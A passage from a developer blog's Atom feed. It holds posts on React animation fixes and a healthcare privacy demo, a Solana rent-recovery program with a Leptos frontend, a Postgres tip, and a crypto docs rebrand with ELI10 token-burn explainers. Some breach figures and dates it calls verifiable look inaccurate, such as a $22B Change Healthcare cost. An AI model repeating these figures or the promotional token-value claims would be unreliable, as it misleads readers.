<p>The <code>key={currentLab.id}</code> is what tells AnimatePresence that &quot;this is a <em>different</em> element when <code>currentLab.id</code> changes,&quot; and triggers the exit animation of the old one and the enter animation of the new one. Without the key, Framer Motion sees the same element with new props and skips the exit/enter cycle. The result is content swapping with no transition, plus the warning in console.</p>
<p><code>mode=&quot;wait&quot;</code> is the other half: it tells Framer to wait for the exit animation to complete before mounting the next child. Without it, exit and enter happen simultaneously and the layout flashes during the crossover.</p>
<p>This is in the docs. It&#39;s still the most common framer-motion mistake in the wild. The fix is two lines. Everyone gets bitten by it once.</p>
<h2>The PrivacyChallenge accuracy update</h2>
<p>The most important part of this commit isn&#39;t the responsive plumbing. It&#39;s the data:</p>
<blockquote>
<p>PrivacyChallenge: accuracy updates with 2024-2025 breach data and citations</p>
</blockquote>
<p>The PrivacyChallenge is a four-level interactive component where the user plays &quot;data broker&quot; trying to re-identify anonymized records. Each level uses a real-world re-identification attack (k-anonymity failure, demographic triangulation, ZIP+DOB+sex matching, free-text leakage), and each level cites a real published breach.</p>
<p>Before this commit, the citations were dated 2017–2020 — peer-reviewed but stale. After this commit, the citations include:</p>
<ul>
<li>The 2024 Change Healthcare ransomware attack (100M+ records).</li>
<li>The 2024 Snowflake/AT&amp;T breach (109M+ wireless customers).</li>
<li>The 2025 Ascension Health breach (5.6M patients).</li>
<li>The 2025 LabCorp / Synnovis crossover incidents.</li>
</ul>
<p>Every breach in the citation list is real, dated within 24 months of the demo, and verifiable via public reporting.</p>
<p>Why does this matter? Because the audience for this demo is healthcare buyers — IT directors, compliance officers, hospital CTOs — and they all know about the 2024 Change Healthcare breach. It cost UnitedHealth ~$22B in damages and direct response costs. Every healthcare buyer&#39;s threat model has been re-shaped by it. <strong>A privacy demo that doesn&#39;t reference the breach the audience just lived through is a demo that hasn&#39;t done its homework.</strong></p>
<p>The same is true of the other items. A 2017 breach is academic; a 2024 breach is &quot;this could happen to my hospital next quarter.&quot; The credibility of the demo is the credibility of its references.</p>
<h2>Trust Score formula fix and Level 4 RNG removal</h2>
<p>Two smaller fixes in the same commit, both addressing demo failure modes:</p>
<p><strong>Trust Score formula.</strong> The demo computes a &quot;Trust Score&quot; (0–100) showing how identifiable a record is after the user&#39;s deanonymization attempts. The original formula had an integer-division bug that produced 0 for any score below 1.0. The fix was switching to floating-point math. Tiny diff, big visible difference — instead of every level showing &quot;Trust Score: 0,&quot; the levels now show &quot;Trust Score: 12 / 47 / 73 / 89&quot; depending on how successful the user&#39;s attack was.</p>
<p><strong>Level 4 always awards 3 stars.</strong> The original Level 4 had an RNG-based reward — sometimes you got 3 stars for completing it, sometimes 2 stars, dependent on a <code>Math.random()</code> check. This was the wrong design. <strong>A demo cannot have non-deterministic UX</strong>, because if the demo person hits &quot;the bad random roll&quot; in front of a buyer, the buyer thinks the product is buggy. Removing the RNG and always awarding 3 stars on completion is the right call. The interactive challenge isn&#39;t a casino; it&#39;s a learning experience.</p>
<p>The lesson: <strong>deterministic demos beat dynamic demos every time.</strong> If you want randomization, save it for the production app.</p>
<h2>What I&#39;d do differently</h2>
<p><strong>The mobile drawer should have a swipe-to-close.</strong> Right now you tap the backdrop or the close button. A swipe-left would be more native. Framer Motion&#39;s <code>drag</code> API would do it in 10 lines.</p>
<p><strong>The HUD&#39;s <code>top-14</code> is hardcoded.</strong> A CSS custom property <code>--mobile-header-height: 3.5rem</code> set on the body would let the HUD position itself relative to the <em>real</em> header height, not a magic number that goes wrong if the header ever changes.</p>
<p><strong>The <code>useMediaQuery</code> hook should default to a server-safe value.</strong> As written, the hook returns <code>false</code> on SSR, which would cause a flash if this demo ever ran with hydration. The Zera Med demo is pure CSR so it doesn&#39;t hit this, but the hook is a re-usable building block I should harden.</p>
<h2>Trade-offs</h2>
<p><strong>Why not use a router-aware drawer library?</strong> Because the demo only has one drawer, on one page. Adding <code>vaul</code> or <code>@radix-ui/react-dialog</code> for one drawer is overkill. Framer Motion&#39;s <code>motion.aside</code> with hand-rolled state is 60 lines of code and zero new dependencies.</p>
<p><strong>Why responsive at the design-token level (Tailwind classes) instead of CSS-in-JS?</strong> Because Tailwind&#39;s responsive utilities are inline-readable. <code>lg:top-0</code> reads like &quot;on lg+, top is 0,&quot; which is faster to skim than a styled-components prop spread across multiple breakpoints. The cost is verbosity; the benefit is grep-ability.</p>
<p><strong>Why update breach citations instead of removing them?</strong> Because the citations are the strongest argument the demo makes. Removing them would weaken the privacy case from &quot;here&#39;s why this matters, citing real recent breaches&quot; to &quot;trust me, privacy matters.&quot; The harder pitch.</p>
<h2>What this taught me</h2>
<p>A demo that doesn&#39;t survive a phone is a demo that loses one in three viewers, even when the phone-watcher is a passive observer. Responsive design isn&#39;t optional even for desktop-target apps; it&#39;s the cost of admission for any web-shipped product.</p>
<p>The accuracy/citation work taught me that <strong>demo data quality is the demo.</strong> The same modal animation, with stale 2017 breach data, is a less compelling product than the same modal with 2024 breach data. The cryptography is the same. The conviction in the audience is different.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/zera_med_demo/commit/bb9bb51">The bb9bb51 commit</a> — the diff this post is about.</li>
<li><a href="/blog/zera_med_zk_fhir/">Zera Med ZK-FHIR origin</a> — the project this is bolted onto.</li>
<li><a href="/blog/zera_med_zk_proof_modal/">ZkProofModal post</a> — the animation pattern this commit also tweaks.</li>
<li><a href="https://www.framer.com/motion/animate-presence/">Framer Motion AnimatePresence docs</a> — the canonical docs for the warning I fixed.</li>
<li><a href="https://tailwindcss.com/docs/responsive-design">Tailwind responsive design docs</a> — the breakpoint prefixes I leaned on.</li>
<li><a href="https://ocrportal.hhs.gov/ocr/breach/breach_report.jsf">HHS Breach Portal</a> — the source of the 2024–2025 breach data the PrivacyChallenge cites.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Zera Janitor: Closing Solana Dust Accounts in Leptos WASM]]></title>
  <id>https://blog.skill-issue.dev/blog/zera_janitor_leptos_wasm/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/zera_janitor_leptos_wasm/"/>
  <published>2026-02-10T20:24:09.000Z</published>
  <updated>2026-02-10T20:40:41.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="solana"/>
  <category term="rust"/>
  <category term="leptos"/>
  <category term="wasm"/>
  <category term="cpi"/>
  <category term="spl-token"/>
  <category term="side-quest"/>
  <summary type="html"><![CDATA[A Solana program + Leptos 0.7 frontend that scans your wallet for empty SPL token accounts, batches up to 25 closes per transaction via CPI, and pays you back 95% of the rent. The fee path is the actual interesting part.]]></summary>
  <content type="html"><![CDATA[<p>Solana has a fee model that punishes inactivity: every account on the network owes a rent deposit proportional to its data size, and most of those accounts are SPL token accounts (165 bytes, ~0.002 SOL of rent each). A wallet that has interacted with a hundred different airdrops and DEX pools accumulates a hundred token accounts holding zero balance. They sit there forever unless you <code>closeAccount</code> them, which costs you the cognitive overhead of figuring out which ones are dust and the gas cost of one transaction per close.</p>
<p>The collective sleeping rent across all dusty Solana wallets is in the tens of millions of dollars. The clean-up tool sees obvious value capture. The catch: cleaning isn&#39;t free. You still need to <em>send</em> the transactions, and naive 1-account-per-tx flows hit the network limit immediately.</p>
<p>That&#39;s the project I shipped on 2026-02-10 in <a href="https://github.com/Dax911/SolFetc_rs/commit/7aeb309"><code>7aeb309 — Initial implementation of Zera Janitor</code></a> — a Rust workspace with three crates:</p>
<ol>
<li><strong><code>shared/</code></strong> — common constants (program ID, vault seed, fee BPS).</li>
<li><strong><code>program/</code></strong> — on-chain Solana program with one instruction (<code>BatchClean</code>) that closes up to 25 token accounts via CPI in a single tx.</li>
<li><strong><code>app/</code></strong> — Leptos 0.7 client-side WASM frontend that scans the wallet, lets you select accounts, and submits batched transactions through a JS shim.</li>
</ol>
<p>This post is about why each crate looks the way it does — particularly the fee-split economics on-chain and the CSR-WASM-with-JS-shim hybrid for transaction signing.</p>
<h2>The on-chain economics</h2>
<p>The interesting part of <code>program/src/processor.rs</code> is <em>not</em> the close loop. It&#39;s what happens after:</p>
<pre><code class="language-rust">// 5. Calculate rent collected
let lamports_after = vault.lamports();
let rent_collected = lamports_after
    .checked_sub(lamports_before)
    .ok_or(JanitorError::Overflow)?;

msg!(&quot;Rent collected: {} lamports&quot;, rent_collected);

// 6. Split: fee to treasury, remainder to user
let fee = rent_collected
    .checked_mul(FEE_BPS)
    .ok_or(JanitorError::Overflow)?
    .checked_div(BPS_DENOMINATOR)
    .ok_or(JanitorError::Overflow)?;

let user_payout = rent_collected
    .checked_sub(fee)
    .ok_or(JanitorError::Overflow)?;

// 7. Direct lamport transfer (vault is program-owned PDA)
**vault.try_borrow_mut_lamports()? -= fee + user_payout;
**treasury.try_borrow_mut_lamports()? += fee;
**user.try_borrow_mut_lamports()? += user_payout;
</code></pre>
<p><code>FEE_BPS = 500</code> and <code>BPS_DENOMINATOR = 10_000</code>, so the fee is 5% and the user keeps 95%. Each closed account returns <del>2,039,280 lamports of rent; if you close 25 in one batch you collect ~51M lamports (</del>0.051 SOL), the program keeps ~2.5M, and the user gets ~48.5M.</p>
<p>Two things to note:</p>
<p><strong>The user signs once.</strong> <code>process_batch_clean</code> walks the remaining <code>accounts</code> slice and assumes everything past the first four (user, vault, treasury, token program) is a token account to close. The CPI is <code>invoke_signed</code> because the <em>vault</em> (program PDA) signs as the destination of each <code>closeAccount</code>. The user only has to authorize the outer transaction, not each individual close. That&#39;s the whole point of the batch.</p>
<p><strong>The fee path is direct lamport math.</strong> Lines 7 are doing <code>**vault.try_borrow_mut_lamports()? -= fee + user_payout</code>. This is <em>only</em> legal because the vault is a program-owned PDA, and Solana lets a program directly mutate lamports on accounts it owns. If we tried this on the user&#39;s account we&#39;d panic. If we tried it on the treasury (someone else owns it), the runtime would reject the transaction. The PDA-as-vault pattern is what makes the fee-split possible without a CPI to the system program.</p>
<p><strong>Checked arithmetic everywhere.</strong> <code>checked_sub</code>, <code>checked_mul</code>, <code>checked_div</code> instead of <code>-</code>, <code>*</code>, <code>/</code>. On a Solana program, an integer overflow in non-checked arithmetic in release mode wraps silently. Wrapping a fee calculation gives an attacker an arithmetic vector. Every program written for production should use <code>checked_*</code> math even when the values are bounded by a 64-bit balance. The cost is cheap — a few extra CU&#39;s per op — and the alternative is worse.</p>
<h2>Why batched at 25?</h2>
<p>The Solana transaction size limit is 1232 bytes. Each <code>closeAccount</code> CPI requires the destination&#39;s <code>AccountMeta</code> and the token account&#39;s <code>AccountMeta</code>, plus the inner instruction data. After accounting for the four base accounts (user/vault/treasury/token program) and the outer <code>BatchClean</code> instruction header, you can fit ~25 token accounts per transaction before bumping the byte limit.</p>
<p>The frontend respects this:</p>
<pre><code class="language-rust">const MAX_ACCOUNTS_PER_TX: usize = 25;
let chunks: Vec&lt;Vec&lt;TokenAccountInfo&gt;&gt; = selected_accounts
    .chunks(MAX_ACCOUNTS_PER_TX)
    .map(|c| c.to_vec())
    .collect();

for chunk in &amp;chunks {
    let num = chunk.len() as u8;
    let ix_data = build_batch_clean_data(num);
    // build metas, sign, send
}
</code></pre>
<p>If you select 100 dusty accounts in the UI, this fans out to 4 transactions. The user signs each one in their wallet. They all hit the same <code>BatchClean</code> instruction and the same fee-split logic.</p>
<h2>The Leptos 0.7 frontend, rendered client-side</h2>
<p>Leptos is the Rust SolidJS-style framework — fine-grained reactive primitives, server-or-client rendering, compiles to WASM. For Janitor I went pure CSR (<code>app/Trunk.toml</code> set up for <code>--release</code>-mode WASM bundle), because the only thing the frontend needs to do is:</p>
<ol>
<li>Connect to a wallet via JS shim.</li>
<li>Scan token accounts via Solana RPC (HTTP, no need for a server).</li>
<li>Build instruction data in pure Rust.</li>
<li>Hand the instruction off to a JS shim for signing.</li>
<li>Display tx status.</li>
</ol>
<p>There&#39;s no server-side data, no SSR benefits. CSR + WASM keeps the deploy as static files on Cloudflare Pages.</p>
<p>The Leptos contexts are how state is shared:</p>
<pre><code class="language-rust">let wallet = expect_context::&lt;ReadSignal&lt;String&gt;&gt;();
let accounts = expect_context::&lt;ReadSignal&lt;Vec&lt;TokenAccountInfo&gt;&gt;&gt;();
let selected = expect_context::&lt;ReadSignal&lt;Vec&lt;usize&gt;&gt;&gt;();
let set_processing = expect_context::&lt;WriteSignal&lt;bool&gt;&gt;();
</code></pre>
<p>If you&#39;ve used SolidJS this is identical: <code>Signal&lt;T&gt;</code> for reactive state, <code>ReadSignal</code>/<code>WriteSignal</code> split, <code>expect_context</code> to pull from a parent. The benefit over JS Solid is that the entire pipeline — RPC parsing, instruction encoding, vault PDA derivation — is in Rust, type-checked, with <code>?</code> propagation for errors. The Leptos UI code feels like 1:1 SolidJS in JSX-via-macro form.</p>
<h2>The JS shim is a load-bearing concession</h2>
<p>I really wanted to do this entirely in Rust/WASM, no JS. I couldn&#39;t. The reason:</p>
<pre><code class="language-rust">#[wasm_bindgen]
extern &quot;C&quot; {
    #[wasm_bindgen(js_name = zeraSignAndSend, catch)]
    async fn zera_sign_and_send(
        instruction_bytes: &amp;[u8],
        account_metas: JsValue,
        blockhash: &amp;str,
        rpc_url: &amp;str,
    ) -&gt; Result&lt;JsValue, JsValue&gt;;
}
</code></pre>
<p>This is an FFI into a JS function called <code>zeraSignAndSend</code> defined in the page&#39;s <code>&lt;script&gt;</code>. The shim is the bridge between Rust-built instruction data and the wallet adapter ecosystem (<code>@solana/wallet-adapter-react</code>, Phantom, Solflare, etc.). All those wallets expose JS APIs only. There&#39;s no Phantom-via-WASM API. There&#39;s no Solflare Rust crate. The signing handshake <em>has</em> to go through JS.</p>
<p>The architecture I landed on:</p>
<ul>
<li><strong>Rust</strong> builds the instruction (Borsh-encoded <code>BatchClean { num_accounts: u8 }</code>), the account metas (vault PDA, treasury, token program, plus N token accounts), and serializes them as a <code>Uint8Array</code> + JSON.</li>
<li><strong>JS shim</strong> wraps the Rust-built data into a <code>@solana/web3.js</code> <code>TransactionInstruction</code>, builds a <code>Transaction</code>, gets the wallet to sign it, and submits to the RPC.</li>
<li><strong>Rust</strong> receives the signature back as a <code>JsValue</code>, downcasts to <code>String</code>, displays in UI.</li>
</ul>
<p>This is ugly. But it&#39;s <em>correct</em> — the wallet adapter ecosystem is JS, the canonical web3.js library is JS, and forcing all of that to go through wasm-bindgen would be a multi-week engineering project for almost no user-facing benefit. The shim is ~80 lines of JS in a page script.</p>
<p>There&#39;s a future where Solana&#39;s wallet adapter publishes a Rust crate and this shim becomes a single FFI call to a typed signer. We&#39;re not there yet in 2026.</p>
<h2>The five files that actually matter</h2>
<p>If you want to read the codebase: most of it is glue. The five interesting files:</p>
<ul>
<li><strong><a href="https://github.com/Dax911/SolFetc_rs/blob/7aeb309/program/src/processor.rs"><code>program/src/processor.rs</code></a></strong> — 111 lines. The <code>BatchClean</code> instruction with CPI loop, fee split, and direct lamport transfers. This is the only on-chain code.</li>
<li><strong><a href="https://github.com/Dax911/SolFetc_rs/blob/7aeb309/program/src/state.rs"><code>program/src/state.rs</code></a></strong> — 10 lines. PDA seeds, fee BPS constant. Worth highlighting because moving a magic number out of <code>processor.rs</code> is a tax someone always tries to skip and shouldn&#39;t.</li>
<li><strong><a href="https://github.com/Dax911/SolFetc_rs/blob/7aeb309/app/src/services/transaction.rs"><code>app/src/services/transaction.rs</code></a></strong> — 162 lines. The Leptos-side batch builder + JS shim FFI.</li>
<li><strong><a href="https://github.com/Dax911/SolFetc_rs/blob/7aeb309/app/src/services/scanner.rs"><code>app/src/services/scanner.rs</code></a></strong> — 54 lines. RPC scan for <code>getTokenAccountsByOwner</code>, filter for zero-balance.</li>
<li><strong><a href="https://github.com/Dax911/SolFetc_rs/blob/7aeb309/app/src/components/batch_panel.rs"><code>app/src/components/batch_panel.rs</code></a></strong> — 121 lines. The selection-+-batch-send UI.</li>
</ul>
<p>The whole project is ~1300 lines of Rust + ~250 lines of HTML/CSS. Small project. Real product.</p>
<h2>Why &quot;Zera Janitor&quot;</h2>
<p>The repo is named <code>SolFetc_rs</code> because it started as a fork of an earlier <code>solfetch</code> repo I&#39;d done with a token-balance scanner. The product, however, is named <strong>Zera Janitor</strong> — same naming convention as the rest of the <a href="/blog/zera_sdk_scaffolding/">Zera</a> ecosystem. The &quot;Zera&quot; prefix is the brand; &quot;Janitor&quot; is the function. The repo path is residual from the dev process.</p>
<p>I leave repo names as they are because renaming a repo breaks every external link, every Vercel deploy hook, every old git remote in someone&#39;s local clone. The cost of a rename is paid for years. The benefit of the rename is &quot;the URL matches the marketing.&quot; Not worth it.</p>
<h2>The follow-up commits</h2>
<p>The two commits after init are small but real:</p>
<ul>
<li><strong><a href="https://github.com/Dax911/SolFetc_rs/commit/85fb1cd"><code>85fb1cd — Fix warnings and tailwindcss CLI version</code></a></strong> — Tailwind v4 was still beta; the CLI version pin saved the deploy.</li>
<li><strong><a href="https://github.com/Dax911/SolFetc_rs/commit/18bd78c"><code>18bd78c — Fix reactive context panic in wallet and service functions</code></a></strong> — the classic Leptos / Solid mistake of trying to read a signal outside a reactive scope. The fix is <code>expect_context::&lt;...&gt;</code> only inside an <code>Action</code> or <code>Effect</code>.</li>
</ul>
<p>The reactive-context bug is one of those things that&#39;s invisible in dev because the runtime is forgiving and explodes on production-WASM because the runtime isn&#39;t. It cost me an hour to track down. If you&#39;re new to fine-grained reactive frameworks, internalize the rule: <strong>signals belong inside reactive scopes</strong>. That&#39;s the bug 80% of the time.</p>
<h2>Trade-offs</h2>
<p><strong>Why a 5% fee?</strong> Because shipping a tool that returns 100% of the rent gives you no path to operate the program. Validators pay rent, RPC nodes cost money, the program is a non-trivial deployment. 5% is enough to cover the operational cost and disincentivize use of the rent-recovery as a pure fee-arbitrage vector (closing accounts you don&#39;t own to get rent — which is impossible because the user signs as the close authority, but the fee adds margin).</p>
<p><strong>Why Leptos instead of Yew or pure JS?</strong> Because Leptos 0.7&#39;s signals API is the closest to the SolidJS ergonomics I wanted. Yew is more React-like and feels heavier for this kind of CSR app. Pure JS would have meant rewriting the instruction-building logic in JS, losing the type guarantees that the <code>program/</code> crate gives you &quot;for free&quot; by sharing types via the <code>shared/</code> crate.</p>
<p><strong>Why no Anchor?</strong> Because the program is one instruction with no state account. Anchor&#39;s PDA + IDL machinery is overkill. Vanilla <code>solana_program</code> keeps the program 100 lines and the build small.</p>
<p><strong>Why CSR instead of SSR?</strong> Because a CSR-WASM bundle deploys to Cloudflare Pages or any static host with no backend. SSR Leptos requires a Rust runtime on the server, which means Render, Fly, or self-hosted — more ops surface for no UX benefit.</p>
<h2>What this taught me</h2>
<p>A &quot;side quest&quot; Solana program teaches you more about Solana than reading docs for a week. Specifically: the lamport math, the PDA signing model, the transaction size limit, the wallet-adapter shim shape — these are concepts you can read about and then <em>forget</em>, but if you&#39;ve shipped a 100-line program that uses all four, you remember them. The Janitor is the smallest thing I&#39;ve shipped that touches the full stack of &quot;Solana program + JS wallet + Rust frontend,&quot; and that&#39;s why it lives on as a reference for me.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/SolFetc_rs">SolFetc_rs / Zera Janitor on GitHub</a> — the repo.</li>
<li><a href="https://leptos.dev/">Leptos 0.7 docs</a> — the Rust reactive framework powering the frontend.</li>
<li><a href="https://github.com/solana-labs/solana-program-library">Solana Program Library</a> — <code>spl_token::instruction::close_account</code> source.</li>
<li><a href="https://solanacookbook.com/">Solana cookbook: closing accounts</a> — canonical patterns the Janitor borrows from.</li>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK day one</a> — the bigger SDK that uses the same Rust↔JS PDAs-and-instructions pattern.</li>
<li><a href="/blog/zeraswap_compressed_amm/">ZeraSwap compressed AMM</a> — the AMM Janitor&#39;s SOL recoveries are funneled into.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[TIL: Postgres has a real BIT(n) type]]></title>
  <id>https://blog.skill-issue.dev/notes/til-postgres-bit-strings/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/notes/til-postgres-bit-strings/"/>
  <published>2025-12-09T15:42:00.000Z</published>
  <updated>2025-12-09T15:42:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="postgres"/>
  <category term="til"/>
  <category term="databases"/>
  <content type="html"><![CDATA[<p>Today I learned Postgres ships with a first-class <code>BIT(n)</code> and <code>BIT VARYING(n)</code> type — not a <code>bytea</code>, not an <code>int</code> you bit-twiddle yourself. You can <code>&amp;</code>, <code>|</code>, <code>~</code>, and <code>&lt;&lt;</code> directly in SQL.</p>
<p>Useful for feature flag bitsets where you want index-friendly equality on the bag, but still want <code>&amp; mask = mask</code> server-side.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Rebranding to m0n3y and Writing Crypto Docs Like You're 10]]></title>
  <id>https://blog.skill-issue.dev/blog/m0n3y_eli5_rebrand/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/m0n3y_eli5_rebrand/"/>
  <published>2025-03-30T00:19:55.000Z</published>
  <updated>2025-03-30T00:19:55.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="m0n3y"/>
  <category term="astro"/>
  <category term="docs"/>
  <category term="eli5"/>
  <category term="tokenomics"/>
  <category term="rebranding"/>
  <category term="privacy"/>
  <summary type="html"><![CDATA[The DAXSO → M0N3Y rebrand commit, the burn-to-earn explainer for degens, and an ELI10 walk-through of zk-shielded notes that does not mention the word "circuit" once.]]></summary>
  <content type="html"><![CDATA[<blockquote>
<p>&quot;The reason I write docs first is so the design constraints write themselves once you have to put them in plain English.&quot;</p>
<p>— me, in <a href="/blog/m0n3y_naming_a_dream/">the m0n3y origin post</a></p>
</blockquote>
<p>Five weeks after that origin post landed, the docs site needed a rebrand and three new pages. The commit is <a href="https://github.com/Dax911/m0n3y-web/commit/60aced9"><code>60aced9 — :fire: Rm old / added new pages</code></a> on 2025-03-30. The diff:</p>
<ul>
<li>Renamed <code>DAXSO Documentation Site</code> → <code>M0N3Y Documentation Site</code> everywhere.</li>
<li>Stripped out a stale &quot;companies I&#39;ve worked at&quot; component listing five brands that didn&#39;t belong on a privacy-coin docs site.</li>
<li>Added a new sidebar section: <strong>&quot;Explain it Like I&#39;m 10&quot;</strong>.</li>
<li>Added three pages: <code>simplified1.md</code> (what is the project), <code>simple_monitization.md</code> (how does the burn work), <code>detailed_simplified2.md</code> (full process explained for ten-year-olds).</li>
</ul>
<p>The interesting question isn&#39;t <em>what</em> I rebranded — that&#39;s a string find-and-replace — but <em>why</em> the ELI10 pages got written at all. Crypto docs traditionally come in two registers: 200-page yellowpaper, or <code>git clone &amp;&amp; pnpm i</code>. Neither registers reaches a normal person. This is the post about the third register.</p>
<h2>The rebrand wasn&#39;t just cosmetic</h2>
<p>The diff to <code>src/components/docs/companyList.tsx</code> removed five entries:</p>
<pre><code class="language-diff">- {
-   name: &quot;Ping.gg&quot;,
-   linkName: &quot;ping.gg&quot;,
-   link: &quot;https://ping.gg&quot;,
- },
- {
-   name: &quot;Nexiona&quot;,
-   linkName: &quot;nexiona.com&quot;,
-   link: &quot;https://nexiona.com&quot;,
- },
- {
-   name: &quot;Layer3&quot;,
-   linkName: &quot;layer3.xyz&quot;,
-   link: &quot;https://layer3.xyz&quot;,
- },
- {
-   name: &quot;EcoToken&quot;,
-   linkName: &quot;ecotokens.net&quot;,
-   link: &quot;https://ecotokens.net&quot;,
- },
- {
-   name: &quot;Civitai&quot;,
-   linkName: &quot;...&quot;,
-   link: &quot;...&quot;,
- },
</code></pre>
<p>These were companies I&#39;d worked at, listed in a &quot;Trusted by&quot; / &quot;Used by&quot; component on the original <code>DAXSO</code> docs theme. They had no business being on the m0n3y docs site, because <strong>they&#39;d never used m0n3y</strong>. Lying about deployments is the original sin of crypto docs and I refused to start with a pre-existing lie.</p>
<p>The replacement was a single one-entry list with a placeholder — better to have no logos than fake ones.</p>
<p>The Twitter handle also changed:</p>
<pre><code class="language-diff">-  twitter: &quot;haydenaylor&quot;,
+  twitter: &quot;dev_skill_issue&quot;,
</code></pre>
<p><code>haydenaylor</code> is my civilian Twitter. <code>dev_skill_issue</code> is the persona I wanted publicly attached to a privacy-coin docs site, because the project&#39;s pitch was deliberately adversarial to the consensus crypto narrative and I didn&#39;t want it on my real-name handle yet. Two different brands, two different surface areas, one Astro deploy.</p>
<h2>ELI10 as a docs register</h2>
<p>The new sidebar section was titled <strong>&quot;Explain it Like I&#39;m 10&quot;</strong> — a nod to ELI5 with two extra years of complexity budget. Why ten and not five? Because a five-year-old doesn&#39;t have the abstraction layer for &quot;money on a network&quot; but a ten-year-old has at minimum heard of Roblox/Robux and Pokémon cards, and I can build on either.</p>
<p>Here&#39;s the opener of <code>simplified1.md</code>:</p>
<blockquote>
<p>Alright, crypto degen! Let&#39;s break this down into something simple and fun. We&#39;re building <strong>digital cash</strong> that works like real cash but on steroids—private, fast, and unstoppable. Plus, there&#39;s a token ($M0N3Y) that ties it all together.</p>
</blockquote>
<p>Note who the second person is. It&#39;s not &quot;the user.&quot; It&#39;s &quot;crypto degen.&quot; That&#39;s a deliberate audience choice. The page exists because:</p>
<ol>
<li><strong>Crypto degens are who actually arrives at the docs.</strong> Not your mom. Not the journalist. The 24-year-old burned by three bridge hacks who still wants to learn the next thing.</li>
<li><strong>They&#39;re allergic to corpo-speak.</strong> Words like &quot;leverages&quot; and &quot;synergistic&quot; eject them from the page. &quot;On steroids&quot; lands.</li>
<li><strong>They have crypto literacy but maybe not crypto-<em>math</em> literacy.</strong> They know what a wallet is. They might not know what a Pedersen commitment is. The page meets them at exactly that level.</li>
</ol>
<p>A page that&#39;s properly aimed at an audience reads like a friend at a bar explaining what they&#39;re working on. A page that&#39;s <em>not</em> aimed reads like a law firm. The m0n3y ELI10 pages are deliberately the former.</p>
<h2>The Pokémon analogy for token burn</h2>
<p><code>simple_monitization.md</code> is a 84-line explainer for how <code>$M0N3Y</code> token burning maintains supply pressure without being a security. The opening:</p>
<blockquote>
<p>Imagine you have 100 limited-edition Pokémon cards. If you burn 20 of them, you only have 80 left. But here&#39;s the cool part: those 80 cards are now rarer than before, which makes them more valuable. That&#39;s how token burning works in crypto.</p>
</blockquote>
<p>The Pokémon analogy is <em>load-bearing</em> in a way most analogies aren&#39;t. It maps:</p>
<ul>
<li><strong>Pokémon cards</strong> → tokens (each one fungible-ish in a series, but bounded supply)</li>
<li><strong>Burning a card</strong> → burning a token (the on-chain <code>Burn</code> instruction, which destroys supply forever)</li>
<li><strong>Card rarity affecting price</strong> → token scarcity affecting price</li>
<li><strong>Limited print run</strong> → fixed-supply or capped-supply token</li>
</ul>
<p>Where the analogy <em>breaks</em> is also where the doc is honest about the mechanism: Pokémon cards aren&#39;t fungible (your charizard isn&#39;t my charizard); tokens are. So I added the next paragraph:</p>
<blockquote>
<p>Tokens are like cards that are all literally identical — the value comes from how many exist, not which one you have. Your $M0N3Y is exactly the same as my $M0N3Y. The supply going down lifts every wallet equally.</p>
</blockquote>
<p>The whole page does this — analogy first, exact mechanism second. That&#39;s the ELI10 pattern: <strong>build the intuition with a model the reader already has, then hand them the precise rule once the intuition is in place.</strong> It&#39;s the way physics is taught at high-school level (rubber sheets for general relativity) and the way crypto should be too.</p>
<h2>The &quot;Full Process Explained Like You&#39;re 10&quot; page</h2>
<p><code>detailed_simplified2.md</code> is the most ambitious page. It&#39;s a 141-line walk-through of the <em>entire</em> private-cash transaction lifecycle, from &quot;your wallet has a key&quot; to &quot;your transaction is on-chain and nobody can tell it was you,&quot; explained with elementary-school analogies. A few of them:</p>
<ul>
<li><strong>Elliptic curve cryptography → &quot;magic lock &amp; key.&quot;</strong> The pubkey is the lock; only the matching private key opens it. No mention of base points, scalar multiplication, or BN254. The reader doesn&#39;t need any of that to use a wallet.</li>
<li><strong>Hash functions → &quot;smashing a clay tablet into dust.&quot;</strong> You can&#39;t reconstruct the tablet. But anyone who saw the original can verify the dust is from that tablet by smashing the same way and comparing.</li>
<li><strong>Pedersen commitments → &quot;sealed envelopes with a wax stamp.&quot;</strong> You commit to a value by sealing it; you can later prove what was inside without unsealing.</li>
<li><strong>Merkle trees → &quot;a school registry: each class makes a list of who&#39;s there, the principal collects all the class lists into a school list, and the district collects all the school lists. To prove a single student is in the district you just need their class list and the chain back up.&quot;</strong> This is the cleanest analogy I&#39;ve ever found for Merkle trees and I&#39;m honestly proud of it.</li>
</ul>
<p>The page never uses the words &quot;circuit,&quot; &quot;witness,&quot; &quot;Groth16,&quot; &quot;Poseidon,&quot; or &quot;Cairo.&quot; Those words are not part of the audience&#39;s vocabulary and translating them would be paying a tax for no benefit. If the reader wants to know what hash function is <em>actually</em> being used, they&#39;ll read the technical docs in the next sidebar section.</p>
<h2>Why ELI10 instead of an FAQ</h2>
<p>Most docs sites would address the same problem with an FAQ. &quot;Q: How does the privacy work? A: We use zk-SNARKs...&quot; This is <em>worse</em> than an explainer page for two reasons:</p>
<ol>
<li><strong>FAQs are reactive.</strong> They answer questions someone has already half-formed. The ELI10 page is <em>proactive</em> — it walks the reader through a model that anticipates the questions before they&#39;re asked.</li>
<li><strong>FAQs fragment the mental model.</strong> Each Q&amp;A is independent. The reader walks away with a list of facts, not a mental model. The ELI10 page is a guided tour that <em>builds</em> a mental model — by the end you can answer your own questions because you understand how the system fits together.</li>
</ol>
<p>The cost of writing an ELI10 page is significantly higher than writing an FAQ. The benefit is that the reader actually retains the information.</p>
<h2>What got cut from the rebrand commit</h2>
<p>Look at the diff to <code>src/config.ts</code>:</p>
<pre><code class="language-diff"> export type OuterHeaders =
   | &quot;Monopoly M0N3Y&quot;
+  | &quot;Explain it Like I&#39;m 10&quot;
   | &quot;Usage&quot;
   | &quot;Deployment&quot;
   | &quot;Contributing&quot;;
</code></pre>
